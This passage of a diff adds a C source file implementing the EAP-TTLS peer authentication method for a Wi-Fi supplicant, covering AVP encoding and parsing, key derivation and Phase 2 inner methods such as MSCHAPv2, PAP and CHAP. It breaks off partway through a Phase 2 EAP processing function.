peer method: EAP-TTLS (RFC 5281) + * Copyright (c) 2004-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/ms_funcs.h" +#include "crypto/sha1.h" +#include "crypto/tls.h" +#include "eap_common/chap.h" +#include "eap_common/eap_ttls.h" +#include "mschapv2.h" +#include "eap_i.h" +#include "eap_tls_common.h" +#include "eap_config.h" + + +#define EAP_TTLS_VERSION 0 + + +static void eap_ttls_deinit(struct eap_sm *sm, void *priv); + + +struct eap_ttls_data { + struct eap_ssl_data ssl; + + int ttls_version; + + const struct eap_method *phase2_method; + void *phase2_priv; + int phase2_success; + int phase2_start; + + enum phase2_types { + EAP_TTLS_PHASE2_EAP, + EAP_TTLS_PHASE2_MSCHAPV2, + EAP_TTLS_PHASE2_MSCHAP, + EAP_TTLS_PHASE2_PAP, + EAP_TTLS_PHASE2_CHAP + } phase2_type; + struct eap_method_type phase2_eap_type; + struct eap_method_type *phase2_eap_types; + size_t num_phase2_eap_types; + + u8 auth_response[MSCHAPV2_AUTH_RESPONSE_LEN]; + int auth_response_valid; + u8 master_key[MSCHAPV2_MASTER_KEY_LEN]; /* MSCHAPv2 master key */ + u8 ident; + int resuming; /* starting a resumed session */ + int reauth; /* reauthentication */ + u8 *key_data; + u8 *session_id; + size_t id_len; + + struct wpabuf *pending_phase2_req; + +#ifdef EAP_TNC + int ready_for_tnc; + int tnc_started; +#endif /* EAP_TNC */ +}; + + +static void * eap_ttls_init(struct eap_sm *sm) +{ + struct eap_ttls_data *data; + struct eap_peer_config *config = eap_get_config(sm); + char *selected; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->ttls_version = EAP_TTLS_VERSION; + selected = "EAP"; + data->phase2_type = EAP_TTLS_PHASE2_EAP; + + if (config && config->phase2) { + if (os_strstr(config->phase2, "autheap=")) { + selected = "EAP"; + data->phase2_type = EAP_TTLS_PHASE2_EAP; + } else if (os_strstr(config->phase2, "auth=MSCHAPV2")) { + selected = "MSCHAPV2"; + data->phase2_type = EAP_TTLS_PHASE2_MSCHAPV2; + } else if (os_strstr(config->phase2, "auth=MSCHAP")) { + selected = "MSCHAP"; + data->phase2_type = EAP_TTLS_PHASE2_MSCHAP; + } else if (os_strstr(config->phase2, "auth=PAP")) { + selected = "PAP"; + data->phase2_type = EAP_TTLS_PHASE2_PAP; + } else if (os_strstr(config->phase2, "auth=CHAP")) { + selected = "CHAP"; + data->phase2_type = EAP_TTLS_PHASE2_CHAP; + } + } + wpa_printf(MSG_DEBUG, "EAP-TTLS: Phase2 type: %s", selected); + + if (data->phase2_type == EAP_TTLS_PHASE2_EAP) { + if (eap_peer_select_phase2_methods(config, "autheap=", + &data->phase2_eap_types, + &data->num_phase2_eap_types) + < 0) { + eap_ttls_deinit(sm, data); + return NULL; + } + + data->phase2_eap_type.vendor = EAP_VENDOR_IETF; + data->phase2_eap_type.method = EAP_TYPE_NONE; + } + + if (eap_peer_tls_ssl_init(sm, &data->ssl, config, EAP_TYPE_TTLS)) { + wpa_printf(MSG_INFO, "EAP-TTLS: Failed to initialize SSL."); + eap_ttls_deinit(sm, data); + return NULL; + } + + return data; +} + + +static void eap_ttls_phase2_eap_deinit(struct eap_sm *sm, + struct eap_ttls_data *data) +{ + if (data->phase2_priv && data->phase2_method) { + data->phase2_method->deinit(sm, data->phase2_priv); + data->phase2_method = NULL; + data->phase2_priv = NULL; + } +} + + +static void eap_ttls_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_ttls_data *data = priv; + if (data == NULL) + return; + eap_ttls_phase2_eap_deinit(sm, data); + os_free(data->phase2_eap_types); + eap_peer_tls_ssl_deinit(sm, &data->ssl); + os_free(data->key_data); + os_free(data->session_id); + wpabuf_free(data->pending_phase2_req); + os_free(data); +} + + +static u8 * eap_ttls_avp_hdr(u8 *avphdr, u32 avp_code, u32 vendor_id, + int mandatory, size_t len) +{ + struct ttls_avp_vendor *avp; + u8 flags; + size_t hdrlen; + + avp = (struct ttls_avp_vendor *) avphdr; + flags = mandatory ? AVP_FLAGS_MANDATORY : 0; + if (vendor_id) { + flags |= AVP_FLAGS_VENDOR; + hdrlen = sizeof(*avp); + avp->vendor_id = host_to_be32(vendor_id); + } else { + hdrlen = sizeof(struct ttls_avp); + } + + avp->avp_code = host_to_be32(avp_code); + avp->avp_length = host_to_be32((flags << 24) | (u32) (hdrlen + len)); + + return avphdr + hdrlen; +} + + +static u8 * eap_ttls_avp_add(u8 *start, u8 *avphdr, u32 avp_code, + u32 vendor_id, int mandatory, + const u8 *data, size_t len) +{ + u8 *pos; + pos = eap_ttls_avp_hdr(avphdr, avp_code, vendor_id, mandatory, len); + os_memcpy(pos, data, len); + pos += len; + AVP_PAD(start, pos); + return pos; +} + + +static int eap_ttls_avp_encapsulate(struct wpabuf **resp, u32 avp_code, + int mandatory) +{ + struct wpabuf *msg; + u8 *avp, *pos; + + msg = wpabuf_alloc(sizeof(struct ttls_avp) + wpabuf_len(*resp) + 4); + if (msg == NULL) { + wpabuf_free(*resp); + *resp = NULL; + return -1; + } + + avp = wpabuf_mhead(msg); + pos = eap_ttls_avp_hdr(avp, avp_code, 0, mandatory, wpabuf_len(*resp)); + os_memcpy(pos, wpabuf_head(*resp), wpabuf_len(*resp)); + pos += wpabuf_len(*resp); + AVP_PAD(avp, pos); + wpabuf_free(*resp); + wpabuf_put(msg, pos - avp); + *resp = msg; + return 0; +} + + +static int eap_ttls_v0_derive_key(struct eap_sm *sm, + struct eap_ttls_data *data) +{ + os_free(data->key_data); + data->key_data = eap_peer_tls_derive_key(sm, &data->ssl, + "ttls keying material", + EAP_TLS_KEY_LEN); + if (!data->key_data) { + wpa_printf(MSG_INFO, "EAP-TTLS: Failed to derive key"); + return -1; + } + + wpa_hexdump_key(MSG_DEBUG, "EAP-TTLS: Derived key", + data->key_data, EAP_TLS_KEY_LEN); + + os_free(data->session_id); + data->session_id = eap_peer_tls_derive_session_id(sm, &data->ssl, + EAP_TYPE_TTLS, + &data->id_len); + if (data->session_id) { + wpa_hexdump(MSG_DEBUG, "EAP-TTLS: Derived Session-Id", + data->session_id, data->id_len); + } else { + wpa_printf(MSG_ERROR, "EAP-TTLS: Failed to derive Session-Id"); + } + + return 0; +} + + +static u8 * eap_ttls_implicit_challenge(struct eap_sm *sm, + struct eap_ttls_data *data, size_t len) +{ + return eap_peer_tls_derive_key(sm, &data->ssl, "ttls challenge", len); +} + + +static void eap_ttls_phase2_select_eap_method(struct eap_ttls_data *data, + u8 method) +{ + size_t i; + for (i = 0; i < data->num_phase2_eap_types; i++) { + if (data->phase2_eap_types[i].vendor != EAP_VENDOR_IETF || + data->phase2_eap_types[i].method != method) + continue; + + data->phase2_eap_type.vendor = + data->phase2_eap_types[i].vendor; + data->phase2_eap_type.method = + data->phase2_eap_types[i].method; + wpa_printf(MSG_DEBUG, "EAP-TTLS: Selected " + "Phase 2 EAP vendor %d method %d", + data->phase2_eap_type.vendor, + data->phase2_eap_type.method); + break; + } +} + + +static int eap_ttls_phase2_eap_process(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret, + struct eap_hdr *hdr, size_t len, + struct wpabuf **resp) +{ + struct wpabuf msg; + struct eap_method_ret iret; + + os_memset(&iret, 0, sizeof(iret)); + wpabuf_set(&msg, hdr, len); + *resp = data->phase2_method->process(sm, data->phase2_priv, &iret, + &msg); + if ((iret.methodState == METHOD_DONE || + iret.methodState == METHOD_MAY_CONT) && + (iret.decision == DECISION_UNCOND_SUCC || + iret.decision == DECISION_COND_SUCC || + iret.decision == DECISION_FAIL)) { + ret->methodState = iret.methodState; + ret->decision = iret.decision; + } + + return 0; +} + + +static int eap_ttls_phase2_request_eap_method(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret, + struct eap_hdr *hdr, size_t len, + u8 method, struct wpabuf **resp) +{ +#ifdef EAP_TNC + if (data->tnc_started && data->phase2_method && + data->phase2_priv && method == EAP_TYPE_TNC && + data->phase2_eap_type.method == EAP_TYPE_TNC) + return eap_ttls_phase2_eap_process(sm, data, ret, hdr, len, + resp); + + if (data->ready_for_tnc && !data->tnc_started && + method == EAP_TYPE_TNC) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Start TNC after completed " + "EAP method"); + data->tnc_started = 1; + } + + if (data->tnc_started) { + if (data->phase2_eap_type.vendor != EAP_VENDOR_IETF || + data->phase2_eap_type.method == EAP_TYPE_TNC) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Unexpected EAP " + "type %d for TNC", method); + return -1; + } + + data->phase2_eap_type.vendor = EAP_VENDOR_IETF; + data->phase2_eap_type.method = method; + wpa_printf(MSG_DEBUG, "EAP-TTLS: Selected " + "Phase 2 EAP vendor %d method %d (TNC)", + data->phase2_eap_type.vendor, + data->phase2_eap_type.method); + + if (data->phase2_type == EAP_TTLS_PHASE2_EAP) + eap_ttls_phase2_eap_deinit(sm, data); + } +#endif /* EAP_TNC */ + + if (data->phase2_eap_type.vendor == EAP_VENDOR_IETF && + data->phase2_eap_type.method == EAP_TYPE_NONE) + eap_ttls_phase2_select_eap_method(data, method); + + if (method != data->phase2_eap_type.method || method == EAP_TYPE_NONE) + { + if (eap_peer_tls_phase2_nak(data->phase2_eap_types, + data->num_phase2_eap_types, + hdr, resp)) + return -1; + return 0; + } + + if (data->phase2_priv == NULL) { + data->phase2_method = eap_peer_get_eap_method( + EAP_VENDOR_IETF, method); + if (data->phase2_method) { + sm->init_phase2 = 1; + data->phase2_priv = data->phase2_method->init(sm); + sm->init_phase2 = 0; + } + } + if (data->phase2_priv == NULL || data->phase2_method == NULL) { + wpa_printf(MSG_INFO, "EAP-TTLS: failed to initialize " + "Phase 2 EAP method %d", method); + return -1; + } + + return eap_ttls_phase2_eap_process(sm, data, ret, hdr, len, resp); +} + + +static int eap_ttls_phase2_request_eap(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret, + struct eap_hdr *hdr, + struct wpabuf **resp) +{ + size_t len = be_to_host16(hdr->length); + u8 *pos; + struct eap_peer_config *config = eap_get_config(sm); + + if (len <= sizeof(struct eap_hdr)) { + wpa_printf(MSG_INFO, "EAP-TTLS: too short " + "Phase 2 request (len=%lu)", (unsigned long) len); + return -1; + } + pos = (u8 *) (hdr + 1); + wpa_printf(MSG_DEBUG, "EAP-TTLS: Phase 2 EAP Request: type=%d", *pos); + switch (*pos) { + case EAP_TYPE_IDENTITY: + *resp = eap_sm_buildIdentity(sm, hdr->identifier, 1); + break; + default: + if (eap_ttls_phase2_request_eap_method(sm, data, ret, hdr, len, + *pos, resp) < 0) + return -1; + break; + } + + if (*resp == NULL && + (config->pending_req_identity || config->pending_req_password || + config->pending_req_otp)) { + return 0; + } + + if (*resp == NULL) + return -1; + + wpa_hexdump_buf(MSG_DEBUG, "EAP-TTLS: AVP encapsulate EAP Response", + *resp); + return eap_ttls_avp_encapsulate(resp, RADIUS_ATTR_EAP_MESSAGE, 1); +} + + +static int eap_ttls_phase2_request_mschapv2(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret, + struct wpabuf **resp) +{ +#ifdef EAP_MSCHAPv2 + struct wpabuf *msg; + u8 *buf, *pos, *challenge, *peer_challenge; + const u8 *identity, *password; + size_t identity_len, password_len; + int pwhash; + + wpa_printf(MSG_DEBUG, "EAP-TTLS: Phase 2 MSCHAPV2 Request"); + + identity = eap_get_config_identity(sm, &identity_len); + password = eap_get_config_password2(sm, &password_len, &pwhash); + if (identity == NULL || password == NULL) + return -1; + + msg = wpabuf_alloc(identity_len + 1000); + if (msg == NULL) { + wpa_printf(MSG_ERROR, + "EAP-TTLS/MSCHAPV2: Failed to allocate memory"); + return -1; + } + pos = buf = wpabuf_mhead(msg); + + /* User-Name */ + pos = eap_ttls_avp_add(buf, pos, RADIUS_ATTR_USER_NAME, 0, 1, + identity, identity_len); + + /* MS-CHAP-Challenge */ + challenge = eap_ttls_implicit_challenge( + sm, data, EAP_TTLS_MSCHAPV2_CHALLENGE_LEN + 1); + if (challenge == NULL) { + wpabuf_free(msg); + wpa_printf(MSG_ERROR, "EAP-TTLS/MSCHAPV2: Failed to derive " + "implicit challenge"); + return -1; + } + + pos = eap_ttls_avp_add(buf, pos, RADIUS_ATTR_MS_CHAP_CHALLENGE, + RADIUS_VENDOR_ID_MICROSOFT, 1, + challenge, EAP_TTLS_MSCHAPV2_CHALLENGE_LEN); + + /* MS-CHAP2-Response */ + pos = eap_ttls_avp_hdr(pos, RADIUS_ATTR_MS_CHAP2_RESPONSE, + RADIUS_VENDOR_ID_MICROSOFT, 1, + EAP_TTLS_MSCHAPV2_RESPONSE_LEN); + data->ident = challenge[EAP_TTLS_MSCHAPV2_CHALLENGE_LEN]; + *pos++ = data->ident; + *pos++ = 0; /* Flags */ + if (os_get_random(pos, EAP_TTLS_MSCHAPV2_CHALLENGE_LEN) < 0) { + os_free(challenge); + wpabuf_free(msg); + wpa_printf(MSG_ERROR, "EAP-TTLS/MSCHAPV2: Failed to get " + "random data for peer challenge"); + return -1; + } + peer_challenge = pos; + pos += EAP_TTLS_MSCHAPV2_CHALLENGE_LEN; + os_memset(pos, 0, 8); /* Reserved, must be zero */ + pos += 8; + if (mschapv2_derive_response(identity, identity_len, password, + password_len, pwhash, challenge, + peer_challenge, pos, data->auth_response, + data->master_key)) { + os_free(challenge); + wpabuf_free(msg); + wpa_printf(MSG_ERROR, "EAP-TTLS/MSCHAPV2: Failed to derive " + "response"); + return -1; + } + data->auth_response_valid = 1; + + pos += 24; + os_free(challenge); + AVP_PAD(buf, pos); + + wpabuf_put(msg, pos - buf); + *resp = msg; + + if (sm->workaround) { + /* At least FreeRADIUS seems to be terminating + * EAP-TTLS/MSHCAPV2 without the expected MS-CHAP-v2 Success + * packet. */ + wpa_printf(MSG_DEBUG, "EAP-TTLS/MSCHAPV2: EAP workaround - " + "allow success without tunneled response"); + ret->methodState = METHOD_MAY_CONT; + ret->decision = DECISION_COND_SUCC; + } + + return 0; +#else /* EAP_MSCHAPv2 */ + wpa_printf(MSG_ERROR, "EAP-TTLS: MSCHAPv2 not included in the build"); + return -1; +#endif /* EAP_MSCHAPv2 */ +} + + +static int eap_ttls_phase2_request_mschap(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret, + struct wpabuf **resp) +{ + struct wpabuf *msg; + u8 *buf, *pos, *challenge; + const u8 *identity, *password; + size_t identity_len, password_len; + int pwhash; + + wpa_printf(MSG_DEBUG, "EAP-TTLS: Phase 2 MSCHAP Request"); + + identity = eap_get_config_identity(sm, &identity_len); + password = eap_get_config_password2(sm, &password_len, &pwhash); + if (identity == NULL || password == NULL) + return -1; + + msg = wpabuf_alloc(identity_len + 1000); + if (msg == NULL) { + wpa_printf(MSG_ERROR, + "EAP-TTLS/MSCHAP: Failed to allocate memory"); + return -1; + } + pos = buf = wpabuf_mhead(msg); + + /* User-Name */ + pos = eap_ttls_avp_add(buf, pos, RADIUS_ATTR_USER_NAME, 0, 1, + identity, identity_len); + + /* MS-CHAP-Challenge */ + challenge = eap_ttls_implicit_challenge( + sm, data, EAP_TTLS_MSCHAP_CHALLENGE_LEN + 1); + if (challenge == NULL) { + wpabuf_free(msg); + wpa_printf(MSG_ERROR, "EAP-TTLS/MSCHAP: Failed to derive " + "implicit challenge"); + return -1; + } + + pos = eap_ttls_avp_add(buf, pos, RADIUS_ATTR_MS_CHAP_CHALLENGE, + RADIUS_VENDOR_ID_MICROSOFT, 1, + challenge, EAP_TTLS_MSCHAP_CHALLENGE_LEN); + + /* MS-CHAP-Response */ + pos = eap_ttls_avp_hdr(pos, RADIUS_ATTR_MS_CHAP_RESPONSE, + RADIUS_VENDOR_ID_MICROSOFT, 1, + EAP_TTLS_MSCHAP_RESPONSE_LEN); + data->ident = challenge[EAP_TTLS_MSCHAP_CHALLENGE_LEN]; + *pos++ = data->ident; + *pos++ = 1; /* Flags: Use NT style passwords */ + os_memset(pos, 0, 24); /* LM-Response */ + pos += 24; + if (pwhash) { + challenge_response(challenge, password, pos); /* NT-Response */ + wpa_hexdump_key(MSG_DEBUG, "EAP-TTLS: MSCHAP password hash", + password, 16); + } else { + nt_challenge_response(challenge, password, password_len, + pos); /* NT-Response */ + wpa_hexdump_ascii_key(MSG_DEBUG, "EAP-TTLS: MSCHAP password", + password, password_len); + } + wpa_hexdump(MSG_DEBUG, "EAP-TTLS: MSCHAP implicit challenge", + challenge, EAP_TTLS_MSCHAP_CHALLENGE_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-TTLS: MSCHAP response", pos, 24); + pos += 24; + os_free(challenge); + AVP_PAD(buf, pos); + + wpabuf_put(msg, pos - buf); + *resp = msg; + + /* EAP-TTLS/MSCHAP does not provide tunneled success + * notification, so assume that Phase2 succeeds. */ + ret->methodState = METHOD_DONE; + ret->decision = DECISION_COND_SUCC; + + return 0; +} + + +static int eap_ttls_phase2_request_pap(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret, + struct wpabuf **resp) +{ + struct wpabuf *msg; + u8 *buf, *pos; + size_t pad; + const u8 *identity, *password; + size_t identity_len, password_len; + + wpa_printf(MSG_DEBUG, "EAP-TTLS: Phase 2 PAP Request"); + + identity = eap_get_config_identity(sm, &identity_len); + password = eap_get_config_password(sm, &password_len); + if (identity == NULL || password == NULL) + return -1; + + msg = wpabuf_alloc(identity_len + password_len + 100); + if (msg == NULL) { + wpa_printf(MSG_ERROR, + "EAP-TTLS/PAP: Failed to allocate memory"); + return -1; + } + pos = buf = wpabuf_mhead(msg); + + /* User-Name */ + pos = eap_ttls_avp_add(buf, pos, RADIUS_ATTR_USER_NAME, 0, 1, + identity, identity_len); + + /* User-Password; in RADIUS, this is encrypted, but EAP-TTLS encrypts + * the data, so no separate encryption is used in the AVP itself. + * However, the password is padded to obfuscate its length. */ + pad = password_len == 0 ? 16 : (16 - (password_len & 15)) & 15; + pos = eap_ttls_avp_hdr(pos, RADIUS_ATTR_USER_PASSWORD, 0, 1, + password_len + pad); + os_memcpy(pos, password, password_len); + pos += password_len; + os_memset(pos, 0, pad); + pos += pad; + AVP_PAD(buf, pos); + + wpabuf_put(msg, pos - buf); + *resp = msg; + + /* EAP-TTLS/PAP does not provide tunneled success notification, + * so assume that Phase2 succeeds. */ + ret->methodState = METHOD_DONE; + ret->decision = DECISION_COND_SUCC; + + return 0; +} + + +static int eap_ttls_phase2_request_chap(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret, + struct wpabuf **resp) +{ + struct wpabuf *msg; + u8 *buf, *pos, *challenge; + const u8 *identity, *password; + size_t identity_len, password_len; + + wpa_printf(MSG_DEBUG, "EAP-TTLS: Phase 2 CHAP Request"); + + identity = eap_get_config_identity(sm, &identity_len); + password = eap_get_config_password(sm, &password_len); + if (identity == NULL || password == NULL) + return -1; + + msg = wpabuf_alloc(identity_len + 1000); + if (msg == NULL) { + wpa_printf(MSG_ERROR, + "EAP-TTLS/CHAP: Failed to allocate memory"); + return -1; + } + pos = buf = wpabuf_mhead(msg); + + /* User-Name */ + pos = eap_ttls_avp_add(buf, pos, RADIUS_ATTR_USER_NAME, 0, 1, + identity, identity_len); + + /* CHAP-Challenge */ + challenge = eap_ttls_implicit_challenge( + sm, data, EAP_TTLS_CHAP_CHALLENGE_LEN + 1); + if (challenge == NULL) { + wpabuf_free(msg); + wpa_printf(MSG_ERROR, "EAP-TTLS/CHAP: Failed to derive " + "implicit challenge"); + return -1; + } + + pos = eap_ttls_avp_add(buf, pos, RADIUS_ATTR_CHAP_CHALLENGE, 0, 1, + challenge, EAP_TTLS_CHAP_CHALLENGE_LEN); + + /* CHAP-Password */ + pos = eap_ttls_avp_hdr(pos, RADIUS_ATTR_CHAP_PASSWORD, 0, 1, + 1 + EAP_TTLS_CHAP_PASSWORD_LEN); + data->ident = challenge[EAP_TTLS_CHAP_CHALLENGE_LEN]; + *pos++ = data->ident; + + /* MD5(Ident + Password + Challenge) */ + chap_md5(data->ident, password, password_len, challenge, + EAP_TTLS_CHAP_CHALLENGE_LEN, pos); + + wpa_hexdump_ascii(MSG_DEBUG, "EAP-TTLS: CHAP username", + identity, identity_len); + wpa_hexdump_ascii_key(MSG_DEBUG, "EAP-TTLS: CHAP password", + password, password_len); + wpa_hexdump(MSG_DEBUG, "EAP-TTLS: CHAP implicit challenge", + challenge, EAP_TTLS_CHAP_CHALLENGE_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-TTLS: CHAP password", + pos, EAP_TTLS_CHAP_PASSWORD_LEN); + pos += EAP_TTLS_CHAP_PASSWORD_LEN; + os_free(challenge); + AVP_PAD(buf, pos); + + wpabuf_put(msg, pos - buf); + *resp = msg; + + /* EAP-TTLS/CHAP does not provide tunneled success + * notification, so assume that Phase2 succeeds. */ + ret->methodState = METHOD_DONE; + ret->decision = DECISION_COND_SUCC; + + return 0; +} + + +static int eap_ttls_phase2_request(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret, + struct eap_hdr *hdr, + struct wpabuf **resp) +{ + int res = 0; + size_t len; + enum phase2_types phase2_type = data->phase2_type; + +#ifdef EAP_TNC + if (data->tnc_started) { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Processing TNC"); + phase2_type = EAP_TTLS_PHASE2_EAP; + } +#endif /* EAP_TNC */ + + if (phase2_type == EAP_TTLS_PHASE2_MSCHAPV2 || + phase2_type == EAP_TTLS_PHASE2_MSCHAP || + phase2_type == EAP_TTLS_PHASE2_PAP || + phase2_type == EAP_TTLS_PHASE2_CHAP) { + if (eap_get_config_identity(sm, &len) == NULL) { + wpa_printf(MSG_INFO, + "EAP-TTLS: Identity not configured"); + eap_sm_request_identity(sm); + if (eap_get_config_password(sm, &len) == NULL) + eap_sm_request_password(sm); + return 0; + } + + if (eap_get_config_password(sm, &len) == NULL) { + wpa_printf(MSG_INFO, + "EAP-TTLS: Password not configured"); + eap_sm_request_password(sm); + return 0; + } + } + + switch (phase2_type) { + case EAP_TTLS_PHASE2_EAP: + res = eap_ttls_phase2_request_eap(sm, data, ret, hdr, resp); + break; + case EAP_TTLS_PHASE2_MSCHAPV2: + res = eap_ttls_phase2_request_mschapv2(sm, data, ret, resp); + break; + case EAP_TTLS_PHASE2_MSCHAP: + res = eap_ttls_phase2_request_mschap(sm, data, ret, resp); + break; + case EAP_TTLS_PHASE2_PAP: + res = eap_ttls_phase2_request_pap(sm, data, ret, resp); + break; + case EAP_TTLS_PHASE2_CHAP: + res = eap_ttls_phase2_request_chap(sm, data, ret, resp); + break; + default: + wpa_printf(MSG_ERROR, "EAP-TTLS: Phase 2 - Unknown"); + res = -1; + break; + } + + if (res < 0) { + ret->methodState = METHOD_DONE; + ret->decision = DECISION_FAIL; + } + + return res; +} + + +struct ttls_parse_avp { + u8 *mschapv2; + u8 *eapdata; + size_t eap_len; + int mschapv2_error; +}; + + +static int eap_ttls_parse_attr_eap(const u8 *dpos, size_t dlen, + struct ttls_parse_avp *parse) +{ + wpa_printf(MSG_DEBUG, "EAP-TTLS: AVP - EAP Message"); + if (parse->eapdata == NULL) { + parse->eapdata = os_malloc(dlen); + if (parse->eapdata == NULL) { + wpa_printf(MSG_WARNING, "EAP-TTLS: Failed to allocate " + "memory for Phase 2 EAP data"); + return -1; + } + os_memcpy(parse->eapdata, dpos, dlen); + parse->eap_len = dlen; + } else { + u8 *neweap = os_realloc(parse->eapdata, parse->eap_len + dlen); + if (neweap == NULL) { + wpa_printf(MSG_WARNING, "EAP-TTLS: Failed to allocate " + "memory for Phase 2 EAP data"); + return -1; + } + os_memcpy(neweap + parse->eap_len, dpos, dlen); + parse->eapdata = neweap; + parse->eap_len += dlen; + } + + return 0; +} + + +static int eap_ttls_parse_avp(u8 *pos, size_t left, + struct ttls_parse_avp *parse) +{ + struct ttls_avp *avp; + u32 avp_code, avp_length, vendor_id = 0; + u8 avp_flags, *dpos; + size_t dlen; + + avp = (struct ttls_avp *) pos; + avp_code = be_to_host32(avp->avp_code); + avp_length = be_to_host32(avp->avp_length); + avp_flags = (avp_length >> 24) & 0xff; + avp_length &= 0xffffff; + wpa_printf(MSG_DEBUG, "EAP-TTLS: AVP: code=%d flags=0x%02x " + "length=%d", (int) avp_code, avp_flags, + (int) avp_length); + + if (avp_length > left) { + wpa_printf(MSG_WARNING, "EAP-TTLS: AVP overflow " + "(len=%d, left=%lu) - dropped", + (int) avp_length, (unsigned long) left); + return -1; + } + + if (avp_length < sizeof(*avp)) { + wpa_printf(MSG_WARNING, "EAP-TTLS: Invalid AVP length %d", + avp_length); + return -1; + } + + dpos = (u8 *) (avp + 1); + dlen = avp_length - sizeof(*avp); + if (avp_flags & AVP_FLAGS_VENDOR) { + if (dlen < 4) { + wpa_printf(MSG_WARNING, "EAP-TTLS: Vendor AVP " + "underflow"); + return -1; + } + vendor_id = WPA_GET_BE32(dpos); + wpa_printf(MSG_DEBUG, "EAP-TTLS: AVP vendor_id %d", + (int) vendor_id); + dpos += 4; + dlen -= 4; + } + + wpa_hexdump(MSG_DEBUG, "EAP-TTLS: AVP data", dpos, dlen); + + if (vendor_id == 0 && avp_code == RADIUS_ATTR_EAP_MESSAGE) { + if (eap_ttls_parse_attr_eap(dpos, dlen, parse) < 0) + return -1; + } else if (vendor_id == 0 && avp_code == RADIUS_ATTR_REPLY_MESSAGE) { + /* This is an optional message that can be displayed to + * the user. */ + wpa_hexdump_ascii(MSG_DEBUG, "EAP-TTLS: AVP - Reply-Message", + dpos, dlen); + } else if (vendor_id == RADIUS_VENDOR_ID_MICROSOFT && + avp_code == RADIUS_ATTR_MS_CHAP2_SUCCESS) { + wpa_hexdump_ascii(MSG_DEBUG, "EAP-TTLS: MS-CHAP2-Success", + dpos, dlen); + if (dlen != 43) { + wpa_printf(MSG_WARNING, "EAP-TTLS: Unexpected " + "MS-CHAP2-Success length " + "(len=%lu, expected 43)", + (unsigned long) dlen); + return -1; + } + parse->mschapv2 = dpos; + } else if (vendor_id == RADIUS_VENDOR_ID_MICROSOFT && + avp_code == RADIUS_ATTR_MS_CHAP_ERROR) { + wpa_hexdump_ascii(MSG_DEBUG, "EAP-TTLS: MS-CHAP-Error", + dpos, dlen); + parse->mschapv2_error = 1; + } else if (avp_flags & AVP_FLAGS_MANDATORY) { + wpa_printf(MSG_WARNING, "EAP-TTLS: Unsupported mandatory AVP " + "code %d vendor_id %d - dropped", + (int) avp_code, (int) vendor_id); + return -1; + } else { + wpa_printf(MSG_DEBUG, "EAP-TTLS: Ignoring unsupported AVP " + "code %d vendor_id %d", + (int) avp_code, (int) vendor_id); + } + + return avp_length; +} + + +static int eap_ttls_parse_avps(struct wpabuf *in_decrypted, + struct ttls_parse_avp *parse) +{ + u8 *pos; + size_t left, pad; + int avp_length; + + pos = wpabuf_mhead(in_decrypted); + left = wpabuf_len(in_decrypted); + wpa_hexdump(MSG_DEBUG, "EAP-TTLS: Decrypted Phase 2 AVPs", pos, left); + if (left < sizeof(struct ttls_avp)) { + wpa_printf(MSG_WARNING, "EAP-TTLS: Too short Phase 2 AVP frame" + " len=%lu expected %lu or more - dropped", + (unsigned long) left, + (unsigned long) sizeof(struct ttls_avp)); + return -1; + } + + /* Parse AVPs */ + os_memset(parse, 0, sizeof(*parse)); + + while (left > 0) { + avp_length = eap_ttls_parse_avp(pos, left, parse); + if (avp_length < 0) + return -1; + + pad = (4 - (avp_length & 3)) & 3; + pos += avp_length + pad; + if (left < avp_length + pad) + left = 0; + else + left -= avp_length + pad; + } + + return 0; +} + + +static u8 * eap_ttls_fake_identity_request(void) +{ + struct eap_hdr *hdr; + u8 *buf; + + wpa_printf(MSG_DEBUG, "EAP-TTLS: empty data in beginning of " + "Phase 2 - use fake EAP-Request Identity"); + buf = os_malloc(sizeof(*hdr) + 1); + if (buf == NULL) { + wpa_printf(MSG_WARNING, "EAP-TTLS: failed to allocate " + "memory for fake EAP-Identity Request"); + return NULL; + } + + hdr = (struct eap_hdr *) buf; + hdr->code = EAP_CODE_REQUEST; + hdr->identifier = 0; + hdr->length = host_to_be16(sizeof(*hdr) + 1); + buf[sizeof(*hdr)] = EAP_TYPE_IDENTITY; + + return buf; +} + + +static int eap_ttls_encrypt_response(struct eap_sm *sm, + struct eap_ttls_data *data, + struct wpabuf *resp, u8 identifier, + struct wpabuf **out_data) +{ + if (resp == NULL) + return 0; + + wpa_hexdump_buf_key(MSG_DEBUG, "EAP-TTLS: Encrypting Phase 2 data", + resp); + if (eap_peer_tls_encrypt(sm, &data->ssl, EAP_TYPE_TTLS, + data->ttls_version, identifier, + resp, out_data)) { + wpa_printf(MSG_INFO, "EAP-TTLS: Failed to encrypt a Phase 2 " + "frame"); + return -1; + } + wpabuf_free(resp); + + return 0; +} + + +static int eap_ttls_process_phase2_eap(struct eap_sm *sm, + struct eap_ttls_data *data, + struct eap_method_ret *ret, + struct ttls_parse_avp *parse, + struct wpabuf **resp) +{ + struct eap_hdr *hdr; + size_t len; + + if (parse->eapdata == NULL) { + wpa_printf(MSG_WARNING, "EAP-TTLS: No EAP Message in the " + "packet - dropped"); + return -1; + } + + wpa_hexdump(MSG_DEBUG, "EAP-TTLS: Phase 2 EAP", + parse->eapdata, parse->eap_len); + hdr = (struct eap_hdr *) parse->eapdata; + + if (parse->eap_len < sizeof(*hdr)) { + wpa_printf(MSG_WARNING, "EAP-TTLS: Too short Phase 2 EAP " + "frame (len=%lu, expected %lu or more) - dropped", + (unsigned long) parse->eap_len, + (unsigned long) sizeof(*hdr)); + return -1; + } + len = be_to_host16(hdr->length); + if (len > parse->eap_len) { + wpa_printf(MSG_INFO, "EAP-TTLS: Length mismatch in 